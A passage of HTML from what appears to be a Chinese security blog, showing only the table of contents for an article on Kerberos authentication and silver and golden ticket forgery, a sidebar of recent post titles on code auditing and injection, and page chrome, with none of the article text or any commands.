href="#%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86%EF%BC%9A%E7%94%9F%E6%88%90TGT-%E5%92%8C-session-key"><span class="toc-number"></span> <span class="toc-text">第一部分：生成TGT 和 session key</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%BA%8C%E6%AD%A5%EF%BC%9A%E8%8E%B7%E5%8F%96%E8%A6%81%E8%AE%BF%E9%97%AE%E7%9A%84-server-ticket"><span class="toc-number"></span> <span class="toc-text">第二步：获取要访问的 server ticket</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%B8%89%E9%83%A8-%E5%90%91%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%90%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AF%B7%E6%B1%82%E8%AE%A4%E8%AF%81"><span class="toc-number"></span> <span class="toc-text">第三部 向客户端向服务器请求认证</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x01-%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE-Silver-Tickets"><span class="toc-number"></span> <span class="toc-text">0x01 白银票据(Silver Tickets)</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%AA%E9%80%A0%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE-Silver-Tickets"><span class="toc-number">1.</span> <span class="toc-text">伪造白银票据(Silver Tickets)</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x02-%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%EF%BC%88Golden-Ticket%EF%BC%89"><span class="toc-number"></span> <span class="toc-text">0x02 黄金票据（Golden Ticket）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%AA%E9%80%A0%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE"><span class="toc-number">1.</span> <span class="toc-text">伪造黄金票据</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x03-%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE%E5%92%8C%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE%E6%AF%94%E8%BE%83"><span class="toc-number"></span> <span class="toc-text">0x03 黄金票据和白银票据比较</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x04-%E5%8F%82%E8%80%83"><span class="toc-number"></span> <span class="toc-text">0x04 参考</span></a></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入">Nosql inject注入</a><time datetime="2022-11-28T07:28:02.000Z" title="发表于 2022-11-28 15:28:02">2022-11-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="企业 SDLC 安全生命周期管理"/></a><div class="content"><a class="title" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理">企业 SDLC 安全生命周期管理</a><time datetime="2022-11-15T14:03:44.000Z" title="发表于 2022-11-15 22:03:44">2022-11-15</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计漏洞(File Operation\Redirect\Cors)"/></a><div class="content"><a class="title" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)">Go 代码审计漏洞(File Operation\Redirect\Cors)</a><time datetime="2022-11-05T09:15:28.000Z" title="发表于 2022-11-05 17:15:28">2022-11-05</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计高危漏洞(sqli\cmd\ssrf)"/></a><div class="content"><a class="title" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)">Go 代码审计高危漏洞(sqli\cmd\ssrf)</a><time datetime="2022-10-30T06:57:14.000Z" title="发表于 2022-10-30 14:57:14">2022-10-30</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Java代码审计： ClassLoader应用"/></a><div class="content"><a class="title" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用">Java代码审计： ClassLoader应用</a><time datetime="2022-05-10T08:21:21.000Z" title="发表于 2022-05-10 16:21:21">2022-05-10</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2022 By Zeo</div><div class="footer_custom_text">Hi, welcome to my blog!</div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><div class="js-pjax"></div></div></body></html>